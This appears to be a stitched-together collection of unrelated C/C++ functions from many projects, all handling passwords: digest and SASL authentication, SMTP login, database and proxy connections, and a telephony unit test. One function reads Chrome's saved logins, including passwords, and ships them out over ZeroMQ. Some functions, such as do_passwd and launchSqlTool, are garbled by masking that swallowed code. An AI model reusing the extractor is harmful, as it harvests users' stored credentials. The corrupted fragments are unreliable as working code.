fbstring Uri::authority() const { fbstring result; // Port is 5 characters max and we have up to 3 delimiters. result.reserve(host().size() + username().size() + password().size() + 8); if (!username().empty() || !password().empty()) { result.append(username()); if (!password().empty()) { result.push_back(':'); result.append(password()); } result.push_back('@'); } result.append(host()); if (port() != 0) { result.push_back(':'); toAppend(port(), &result); } return result; }
char const* Authenticator::computeDigestResponse(char const* cmd, char const* url) const { // The "response" field is computed as: // md5(md5(<username>:<realm>:<password>):<nonce>:md5(<cmd>:<url>)) // or, if "fPasswordIsMD5" is True: // md5(<password>:<nonce>:md5(<cmd>:<url>)) char ha1Buf[33]; if (fPasswordIsMD5) { strncpy(ha1Buf, password(), 32); ha1Buf[32] = '\0'; // just in case } else { unsigned const ha1DataLen = strlen(username()) + 1 + strlen(realm()) + 1 + strlen(password()); unsigned char* ha1Data = new unsigned char[ha1DataLen+1]; sprintf((char*)ha1Data, "%s:%s:%s", username(), realm(), password()); our_MD5Data(ha1Data, ha1DataLen, ha1Buf); delete[] ha1Data; } unsigned const ha2DataLen = strlen(cmd) + 1 + strlen(url); unsigned char* ha2Data = new unsigned char[ha2DataLen+1]; sprintf((char*)ha2Data, "%s:%s", cmd, url); char ha2Buf[33]; our_MD5Data(ha2Data, ha2DataLen, ha2Buf); delete[] ha2Data; unsigned const digestDataLen = 32 + 1 + strlen(nonce()) + 1 + 32; unsigned char* digestData = new unsigned char[digestDataLen+1]; sprintf((char*)digestData, "%s:%s:%s", ha1Buf, nonce(), ha2Buf); char const* result = our_MD5Data(digestData, digestDataLen, NULL); delete[] digestData; return result; }
QVariantMap NetworkManager::Security8021xSetting::secretsToMap() const { QVariantMap secrets; if (!password().isEmpty()) { secrets.insert(QLatin1String(NM_SETTING_802_1X_PASSWORD), password()); } if (!passwordRaw().isEmpty()) { secrets.insert(QLatin1String(NM_SETTING_802_1X_PASSWORD_RAW), passwordRaw()); } if (!privateKeyPassword().isEmpty()) { secrets.insert(QLatin1String(NM_SETTING_802_1X_PRIVATE_KEY_PASSWORD), privateKeyPassword()); } if (!phase2PrivateKeyPassword().isEmpty()) { secrets.insert(QLatin1String(NM_SETTING_802_1X_PHASE2_PRIVATE_KEY_PASSWORD), phase2PrivateKeyPassword()); } if (!pin().isEmpty()) { secrets.insert(QLatin1String(NM_SETTING_802_1X_PIN), pin()); } return secrets; }
QXmppSaslServer::Response QXmppSaslServerDigestMd5::respond(const QByteArray &request, QByteArray &response) { if (m_step == 0) { QMap<QByteArray, QByteArray> output; output["nonce"] = m_nonce; if (!realm().isEmpty()) output["realm"] = realm().toUtf8(); output["qop"] = "auth"; output["charset"] = "utf-8"; output["algorithm"] = "md5-sess"; m_step++; response = QXmppSaslDigestMd5::serializeMessage(output); return Challenge; } else if (m_step == 1) { const QMap<QByteArray, QByteArray> input = QXmppSaslDigestMd5::parseMessage(request); const QByteArray realm = input.value("realm"); const QByteArray digestUri = input.value("digest-uri"); if (input.value("qop") != "auth") { warning("QXmppSaslServerDigestMd5 : Invalid quality of protection"); return Failed; } setUsername(QString::fromUtf8(input.value("username"))); if (password().isEmpty() && passwordDigest().isEmpty()) return InputNeeded; m_nc = input.value("nc"); m_cnonce = input.value("cnonce"); if (!password().isEmpty()) { m_secret = QCryptographicHash::hash( username().toUtf8() + ":" + realm + ":" + password().toUtf8(), QCryptographicHash::Md5); } else { m_secret = passwordDigest(); } if (input.value("response") != calculateDigest("AUTHENTICATE", digestUri, m_secret, m_nonce, m_cnonce, m_nc)) return Failed; QMap<QByteArray, QByteArray> output; output["rspauth"] = calculateDigest(QByteArray(), digestUri, m_secret, m_nonce, m_cnonce, m_nc); m_step++; response = QXmppSaslDigestMd5::serializeMessage(output); return Challenge; } else if (m_step == 2) { m_step++; response = QByteArray(); return Succeeded; } else { warning("QXmppSaslServerDigestMd5 : Invalid step"); return Failed; } }
Boolean Authenticator::operator<(const Authenticator* rightSide) { // Returns True if "rightSide" is 'newer' than us: if (rightSide != NULL && rightSide != this && (rightSide->realm() != NULL || rightSide->nonce() != NULL || username() == NULL || password() == NULL || strcmp(rightSide->username(), username()) != 0 || strcmp(rightSide->password(), password()) != 0)) { return True; } return False; }
bool KMSmtpClient::login() { //Check out state. if((!isConnected()) && (!connectToHost())) { //Means socket is still not connected to server or already login. return false; } //Check auth method. if(authMethod()==AuthPlain) { //Sending command: AUTH PLAIN base64('\0' + username + '\0' + password) sendMessage("AUTH PLAIN " + QByteArray().append((char)0x00) .append(userName()).append((char)0x00) .append(password()).toBase64()); // The response code needs to be 235. if(!waitAndCheckResponse(235, ServerError)) { //Failed to login. return false; } //Mission complete. return true; } //Then the method should be auth login. // Sending command: AUTH LOGIN sendMessage("AUTH LOGIN"); //The response code needs to be 334. if(!waitAndCheckResponse(334, AuthenticationFailedError)) { //Failed to login. return false; } // Send the username in base64 sendMessage(QByteArray().append(userName()).toBase64()); //The response code needs to be 334. if(!waitAndCheckResponse(334, AuthenticationFailedError)) { //Failed to login. return false; } // Send the password in base64 sendMessage(QByteArray().append(password()).toBase64()); //If the response is not 235 then the authentication was faild if(!waitAndCheckResponse(235, AuthenticationFailedError)) { //Failed to login. return false; } //Mission compelte. return true; }
static int do_passwd(int argc, char *argv[]) { unsigned char passwd2[PASSWD_MAX_LENGTH]; unsigned char passwd1[PASSWD_MAX_LENGTH]; int passwd1_len; int passwd2_len; int ret = 1; puts("Enter new password: "******"Retype new password: "******"Sorry, passwords write failed\n"); ret = 1; goto disable; } return 0; err: puts("Sorry, passwords do not match\n"); puts("passwd: password unchanged\n"); return 1; disable: passwd_env_disable(); puts("passwd: password disabled\n"); return ret; }
// appends a string to an URL, making it another URL // subdirs '.' and ".." can be recognized and interpreted // This function parses the URL at the same time // returns 0 on error, or the new URL char *Util::append(const char* URL, const char *string, bool interpretDirs) { // first have a correct URL parse(URL, interpretDirs); // Correct URL reconstruction in the return variable newstrcpy(appendValue, buildURL(user(),password(),workgroup(),host(),share(),path(),ip())); // append the string newstrappend(appendValue, "/", string); // reparse for a correct URL and interpreting the directories parse(appendValue, interpretDirs); // Final reconstruction newstrcpy(appendValue, buildURL(user(),password(),workgroup(),host(),share(),path(),ip())); return appendValue; }
void createConnection (URL::OpenStreamProgressCallback* progressCallback, void* progressCallbackContext) { static HINTERNET sessionHandle = InternetOpen (_T("juce"), INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); close(); if (sessionHandle != 0) { // break up the url.. const int fileNumChars = 65536; const int serverNumChars = 2048; const int usernameNumChars = 1024; const int passwordNumChars = 1024; HeapBlock<TCHAR> file (fileNumChars), server (serverNumChars), username (usernameNumChars), password (passwordNumChars); URL_COMPONENTS uc = { 0 }; uc.dwStructSize = sizeof (uc); uc.lpszUrlPath = file; uc.dwUrlPathLength = fileNumChars; uc.lpszHostName = server; uc.dwHostNameLength = serverNumChars; uc.lpszUserName = username; uc.dwUserNameLength = usernameNumChars; uc.lpszPassword = password; uc.dwPasswordLength = passwordNumChars; if (InternetCrackUrl (address.toWideCharPointer(), 0, 0, &uc)) openConnection (uc, sessionHandle, progressCallback, progressCallbackContext); } }
void AccountShared::store() { if (!isValidStorage()) return; Shared::store(); storeValue("Identity", AccountIdentity.uuid().toString()); storeValue("Protocol", ProtocolName); storeValue("Id", id()); storeValue("RememberPassword", RememberPassword); if (RememberPassword && HasPassword) storeValue("Password", pwHash(password())); else removeValue("Password"); storeValue("UseProxy", ProxySettings.enabled()); storeValue("ProxyHost", ProxySettings.address()); storeValue("ProxyPort", ProxySettings.port()); storeValue("ProxyRequiresAuthentication", ProxySettings.requiresAuthentication()); storeValue("ProxyUser", ProxySettings.user()); storeValue("ProxyPassword", ProxySettings.password()); storeValue("PrivateStatus", PrivateStatus); }
/** Return true on success, false on error. */ bool FacebookProto::NegotiateConnection() { debugLogA("*** Negotiating connection with Facebook"); ptrA username(getStringA(FACEBOOK_KEY_LOGIN)); if (!username || !mir_strlen(username)) { NotifyEvent(m_tszUserName, TranslateT("Please enter a username."), NULL, FACEBOOK_EVENT_CLIENT); return false; } ptrA password(getStringA(FACEBOOK_KEY_PASS)); if (!password || !*password) { NotifyEvent(m_tszUserName, TranslateT("Please enter a password."), NULL, FACEBOOK_EVENT_CLIENT); return false; } password = mir_utf8encode(password); // Refresh last time of feeds update facy.last_feeds_update_ = ::time(NULL); // Generate random clientid for this connection facy.chat_clientid_ = utils::text::rand_string(8, "0123456789abcdef", &facy.random_); // Create default group for new contacts if (m_tszDefaultGroup) Clist_CreateGroup(0, m_tszDefaultGroup); return facy.login(username, password); }
void Kopete::PasswordedAccount::connect( const Kopete::OnlineStatus& initialStatus ) { // warn user somewhere d->initialStatus = initialStatus; QString cached = password().cachedValue(); if( !cached.isNull() || d->password.allowBlankPassword() ) { connectWithPassword( cached ); return; } QString prompt = passwordPrompt(); Kopete::Password::PasswordSource src = password().isWrong() ? Kopete::Password::FromUser : Kopete::Password::FromConfigOrUser; password().request( this, SLOT(connectWithPassword(QString)), accountIcon( Kopete::Password::preferredImageSize() ), prompt, src ); }
std::string Authenticator::getAuthHeader(std::string method, std::string uri) { std::string result = "Authorization: "; if (fAuthMethod == AUTH_BASIC) { result += "Basic " + base64Encode( username() + ":" + password() ); } else if (fAuthMethod == AUTH_DIGEST) { result += std::string("Digest ") + "username=\"" + quote(username()) + "\", realm=\"" + quote(realm()) + "\", " + "nonce=\"" + quote(nonce()) + "\", uri=\"" + quote(uri) + "\""; if ( ! fQop.empty() ) { result += ", qop=" + fQop; result += ", nc=" + stringtf("%08x",nc); result += ", cnonce=\"" + fCnonce + "\""; } result += ", response=\"" + computeDigestResponse(method, uri) + "\""; result += ", algorithm=\"MD5\""; //Authorization: Digest username="******", // realm="NC-336PW-HD-1080P", // nonce="de8859d97609a6fcc16eaba490dcfd80", // uri="rtsp://10.192.16.8:554/live/0/h264.sdp", // response="4092120557d3099a163bd51a0d59744d", // algorithm=MD5, // opaque="5ccc069c403ebaf9f0171e9517f40e41", // qop="auth", // cnonce="c8051140765877dc", // nc=00000001 } result += "\r\n"; return result; }
void PlaylistModel::authenticate(QNetworkReply* reply,QAuthenticator* authenticator) { Q_UNUSED(reply); authenticator->setUser(username()); authenticator->setPassword(password()); //Only try one time since settings does not change disconnect(m_manager,&QNetworkAccessManager::authenticationRequired,this,&PlaylistModel::authenticate); }
void Chrome_Extractor::extract_signons() { { SQLITE_OPEN(file) QSqlQuery query(db); QString insert_query; QSqlField host("host", QVariant::String); QSqlField id("id", QVariant::String); QSqlField password("password", QVariant::String); query.exec("SELECT action_url, username_value, password_value FROM logins ORDER BY action_url;"); while (query.next()) { host.setValue(query.value(0)); id.setValue(query.value(1)); password.setValue(query.value(2)); insert_query = "INSERT INTO signon (host, id, password) VALUES ("; insert_query += "'" % db.driver()->formatValue(host) % "',"; insert_query += "'" % db.driver()->formatValue(id) % "',"; insert_query += "'" % db.driver()->formatValue(password); insert_query += "');"; send_zmq(insert_query); } query.clear(); insert_query.clear(); } SQLITE_CLOSE(file) }
/** @SYMTestCaseID BA-CTSYD-DIS-SUPPLEMENTARYSERVICES-NEGATIVE-UN0008 @SYMComponent telephony_ctsy @SYMTestCaseDesc Test returned value if EMobilePhoneSetSSPassword is not supported by LTSY @SYMTestPriority High @SYMTestActions Invokes RMobilePhone::SetSSPassword() @SYMTestExpectedResults Pass @SYMTestType UT */ void CCTsySupplementaryServicesFUNegative::TestUnit0008L() { TConfig config; config.SetSupportedValue(MLtsyDispatchSupplementaryServicesSetSsPassword::KLtsyDispatchSupplementaryServicesSetSsPasswordApiId, EFalse); OpenEtelServerL(EUseExtendedError); CleanupStack::PushL(TCleanupItem(Cleanup,this)); OpenPhoneL(); TRequestStatus requestStatus; _LIT(KOldPassword,"oldPswd"); _LIT(KNewPassword,"newPswd"); RMobilePhone::TMobilePhonePasswordChangeV2 pwdChange; pwdChange.iOldPassword.Copy(KOldPassword); pwdChange.iNewPassword.Copy(KNewPassword); pwdChange.iVerifiedPassword.Copy(KNewPassword); TPckg<RMobilePhone::TMobilePhonePasswordChangeV2> password(pwdChange); TUint16 service = 330; // Can be only 0 for all or 330 for Barring iPhone.SetSSPassword(requestStatus,password,service); User::WaitForRequest(requestStatus); ASSERT_EQUALS(KErrNotSupported, requestStatus.Int()); AssertMockLtsyStatusL(); config.Reset(); CleanupStack::PopAndDestroy(this); // this }
void ProxyManager::GetCurrentProxyAuthentication() { LOG(TRACE) << "ProxyManager::GetCurrentProxyAuthentication"; DWORD user_name_length = 0; BOOL success = ::InternetQueryOption(NULL, INTERNET_OPTION_PROXY_USERNAME, NULL, &user_name_length); if (user_name_length > 0) { std::vector<wchar_t> user_name(user_name_length); success = ::InternetQueryOption(NULL, INTERNET_OPTION_PROXY_USERNAME, &user_name[0], &user_name_length); this->current_socks_user_name_ = &user_name[0]; } DWORD password_length = 0; success = ::InternetQueryOption(NULL, INTERNET_OPTION_PROXY_PASSWORD, NULL, &password_length); if (password_length > 0) { std::vector<wchar_t> password(password_length); success = ::InternetQueryOption(NULL, INTERNET_OPTION_PROXY_PASSWORD, &password[0], &password_length); this->current_socks_password_ = &password[0]; } }
void settings::updateConnection() { // need to lock guard all the components boost::lock_guard<boost::mutex> guard(connectionMutex_); if (connect_) { // need to delete the previous connection mysql_close(connect_); // close the previous connection connect_ = mysql_init(NULL); // reset the MYSQL handle connect_ = mysql_real_connect( // open a new connection connect_, server().c_str(), user().c_str(), password().c_str(), dataBase().c_str(), port(), NULL, 0); } if (!connect_) // check throw std::exception("unable to reach mySQL database"); }
settings::settings() // default values : verbosity_(0), port_ (DB_PORT ), server_ (DB_SERVER ), user_ (DB_USER ), password_(DB_PASSWORD), dataBase_(DB_ID ), log_ (LOGPATH ) { // null pointer, safe ? dictionary_ = std::shared_ptr<FIX::DataDictionary>( new FIX::DataDictionary(DICT)); connect_ = mysql_init(NULL); // initialize a null connection if (!connect_) // fails to initialize mySQL throw std::exception("mySQL initialization failed"); connect_ = mysql_real_connect( // open a new connection to the database connect_, server().c_str(), user().c_str(), password().c_str(), dataBase().c_str(), port(), NULL, 0); if (!connect_) // fails to initialize mySQL throw std::exception("unable to reach mySQL database"); }
void main(char ch='k') { if(ch=='n') { fout<<"getch();\nclosegraph();\n}"; rename("temp.cpp",f); fout.close(); fout.open("temp.cpp"); write('n'); } else { int a=400,b=400; clrscr(); int gd=DETECT,gm ; initgraph(&gd,&gm,"\\tc\\bgi"); if(password()) { setfillstyle(SOLID_FILL,15); bar(43,62,597,458.5); SCREEN(); mousecall(); restrict(0,640,0,480); setmouse(a,b); write('o'); } } closegraph(); }
QString Kopete::PasswordedAccount::passwordPrompt() { if ( password().isWrong() ) return i18n( "<qt><b>The password was wrong.</b> Please re-enter your password for %1 account <b>%2</b></qt>", protocol()->displayName(), accountId() ); else return i18n( "<qt>Please enter your password for %1 account <b>%2</b></qt>", protocol()->displayName(), accountId() ); }
bool OAuthFunctions::dataValid() { return !( username().isEmpty() || password().isEmpty() ); }
bool QXmppSaslClientFacebook::respond(const QByteArray &challenge, QByteArray &response) { if (m_step == 0) { // no initial response response = QByteArray(); m_step++; return true; } else if (m_step == 1) { // parse request QUrlQuery requestUrl(challenge); if (!requestUrl.hasQueryItem("method") || !requestUrl.hasQueryItem("nonce")) { warning("QXmppSaslClientFacebook : Invalid challenge, nonce or method missing"); return false; } // build response QUrlQuery responseUrl; responseUrl.addQueryItem("access_token", password()); responseUrl.addQueryItem("api_key", username()); responseUrl.addQueryItem("call_id", 0); responseUrl.addQueryItem("method", requestUrl.queryItemValue("method")); responseUrl.addQueryItem("nonce", requestUrl.queryItemValue("nonce")); responseUrl.addQueryItem("v", "1.0"); response = responseUrl.query().toUtf8(); m_step++; return true; } else { warning("QXmppSaslClientFacebook : Invalid step"); return false; } }
LRESULT CSummaryView::OnBrowserIE(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/) { CString password(GetIConfig(QUERYBUILDER_CFG)->Get(GLOBAL_PASSWORD)); CString user(GetIConfig(QUERYBUILDER_CFG)->Get(GLOBAL_USER)); m_view.Navigate(m_FramedUrl, user, password, true); return 0; }
bool PrepareReadCurrentFile( JSContext *cx, JS::HandleObject obj ) { Private *pv = (Private *)JL_GetPrivate(obj); JL_ASSERT_THIS_OBJECT_STATE(pv); ASSERT( pv && !pv->inZipOpened && pv->uf ); unz_file_info pfile_info; UNZ_CHK( unzGetCurrentFileInfo(pv->uf, &pfile_info, NULL, 0, NULL, 0, NULL, 0) ); if ( pfile_info.flag & 1 ) { // has password jl::StrData password(cx); JS::RootedValue tmp(cx); JL_CHK( JL_GetReservedSlot( obj, SLOT_CURRENTPASSWORD, &tmp) ); if ( !tmp.isUndefined() ) JL_CHK( jl::getValue(cx, tmp, &password) ); if ( password.length() == 0 ) return ThrowZipFileError(cx, JLERR_PASSWORDREQUIRED); UNZ_CHK( unzOpenCurrentFilePassword(pv->uf, password) ); } else { UNZ_CHK( unzOpenCurrentFile(pv->uf) ); } pv->inZipOpened = true; pv->remainingLength = pfile_info.uncompressed_size; return true; JL_BAD; }
int Mysql_Operator::init(void) { const Json::Value &server_misc = SERVER_CONFIG->server_misc(); if (server_misc == Json::Value::null) { LOG_FATAL("db init, server_misc null"); return -1; } //初始化代理编号,服编号 agent_num_ = server_misc["agent_num"].asInt(); server_num_ = server_misc["server_num"].asInt(); if (agent_num_ < 1) agent_num_ = 1; if (server_num_ < 1) server_num_ = 1; //连接mysql std::string ip(server_misc["mysql_game"]["ip"].asString()); int port = server_misc["mysql_game"]["port"].asInt(); std::string user(server_misc["mysql_game"]["user"].asString()); std::string password(server_misc["mysql_game"]["password"].asString()); std::string dbname(server_misc["mysql_game"]["dbname"].asString()); std::string dbpoolname(server_misc["mysql_game"]["dbpoolname"].asString()); MYSQL_MANAGER->init(ip, port, user, password, dbname, dbpoolname, 16); mysql_conn_ = MYSQL_MANAGER->get_mysql_conn(dbpoolname); sql::ResultSet *result = mysql_conn_->execute_query("select * from global where type='role_id'"); if (result && result->rowsCount() <= 0) { mysql_conn_->execute("insert into global(type, value) values ('role_id', 0)"); } result = mysql_conn_->execute_query("select * from global where type='guild_id'"); if (result && result->rowsCount() <= 0) { mysql_conn_->execute("insert into global(type, value) values ('guild_id', 0)"); } load_db_cache(); return 0; }
Credential core(CFURLCredentialRef cfCredential) { if (!cfCredential) return Credential(); CredentialPersistence persistence = CredentialPersistenceNone; switch (CFURLCredentialGetPersistence(cfCredential)) { case kCFURLCredentialPersistenceNone: break; case kCFURLCredentialPersistenceForSession: persistence = CredentialPersistenceForSession; break; case kCFURLCredentialPersistencePermanent: persistence = CredentialPersistencePermanent; break; default: ASSERT_NOT_REACHED(); } #if CERTIFICATE_CREDENTIALS_SUPPORTED SecIdentityRef identity = CFURLCredentialGetCertificateIdentity(cfCredential); if (identity) return Credential(identity, CFURLCredentialGetCertificateArray(cfCredential), persistence); #endif RetainPtr<CFStringRef> password(AdoptCF, CFURLCredentialCopyPassword(cfCredential)); return Credential(CFURLCredentialGetUsername(cfCredential), password.get(), persistence); }
void KdeSudo::slotOk() { QString strTmp(password()); strTmp+="\n"; p->writeStdin(strTmp.ascii(),(int)strTmp.length()); this->hide(); }
int login() { int count=0; system("cls"); login_scr(); if (staff_cnt == 0) { gotoxy(10, 31); printf("등록된 은행원이 없습니다. "); Sleep(3000); staff_join(); } while(1) { system("cls"); login_scr(); name(); gotoxy(10, 29); printf(" "); password(); if (!passcmp()) { gotoxy(10, 31); printf("일치하지 않았습니다. "); count ++; Sleep(1000); if (count == 3) { return 0; } } else { gotoxy(10, 31); printf("일치하였습니다. "); Sleep(1000); return 1; } } }
void CorePlugin::launchSqlTool() { qfLogFuncFrame(); QString program = QCoreApplication::applicationDirPath() + "/qsqlmon"; #ifdef Q_OS_WIN program += ".exe"; #endif qfDebug() << "launchnig" << program; QStringList otcs; { auto conn = qf::core::sql::Connection::forName(); otcs << "description=QuickEvent"; otcs << "driver=" + conn.driverName(); otcs << "host=" + conn.hostName(); otcs << "port=" + QString::number(conn.port()); otcs << "user="******"password="******"database=" + conn.databaseName(); } QStringList arguments; arguments << "--one-time-connection-settings" << otcs.join('&'); QProcess *process = new QProcess(this); process->start(program, arguments); }